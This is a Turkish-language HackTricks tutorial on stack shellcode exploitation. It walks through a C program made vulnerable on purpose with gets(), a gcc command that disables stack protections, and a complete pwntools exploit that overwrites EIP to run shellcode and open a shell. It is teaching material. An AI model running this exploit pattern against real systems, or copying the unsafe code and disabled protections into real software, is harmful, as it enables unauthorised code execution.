Stack Shellcode

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Yığın kabuk kodu, bir saldırganın zayıf bir programın yığınına kabuk kodu yazdığı ve ardından Komut İşaretçisi (IP) veya Genişletilmiş Komut İşaretçisi (EIP)'yi bu kabuk kodunun konumuna yönlendirdiği binary exploitation tekniğidir. Bu, yetkisiz erişim elde etmek veya hedef sistemde keyfi komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte bu sürecin ayrıntıları, basit bir C örneği ve pwntools ile Python kullanarak buna karşılık gelen bir saldırıyı nasıl yazabileceğiniz.

C Örneği: Zayıf Bir Program

Basit bir zayıf C programı örneğiyle başlayalım:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Bu program, gets() fonksiyonunun kullanımından kaynaklanan bir tampon taşması saldırısına açıktır.

Derleme

Bu programı derlemek için çeşitli korumaları devre dışı bırakarak (zafiyetli bir ortamı simüle etmek için) aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Yığın korumasını devre dışı bırakır.

  • -z execstack: Yığını yürütülebilir yapar, yığında depolanan shellcode'un yürütülmesi için gereklidir.

  • -no-pie: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, shellcode'un yerleşeceği bellek adresini tahmin etmeyi kolaylaştırır.

  • -m32: Programı 32 bitlik yürütülebilir olarak derler, genellikle exploit geliştirme sürecinde basitlik için kullanılır.

Pwntools Kullanarak Python Exploit'i

İşte pwntools kullanarak bir ret2shellcode saldırısı gerçekleştirmek için Python'da nasıl bir exploit yazabileceğinizi:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Bu betik, bir NOP kaydırması, shellcode ve ardından EIP'yi NOP kaydırmasına işaret eden bir adrese üzerine yazarak shellcode'un yürütülmesini sağlayan bir yük oluşturur.

NOP kaydırması (asm('nop')), yürütmenin tam adresinden bağımsız olarak shellcode'a "kaydırılmasını" sağlamak için kullanılır. p32() argümanını, tam adresinizin başlangıç adresine ve NOP kaydırmasına inmek için bir ofset ekleyerek ayarlayın.

Korumalar

  • ASLR adresin her yürütmede güvenilir olması için devre dışı bırakılmalıdır veya işlevin depolanacağı adres her zaman aynı olmayacak ve kazan işlevinin nerede yüklendiğini bulmak için bir sızıntıya ihtiyacınız olacaktır.

  • Stack Canaries da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.

  • NX stack koruması, stack içindeki shellcode'un yürütülmesini engelleyecektir çünkü bu bölge yürütülebilir olmayacaktır.

Diğer Örnekler ve Referanslar

Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated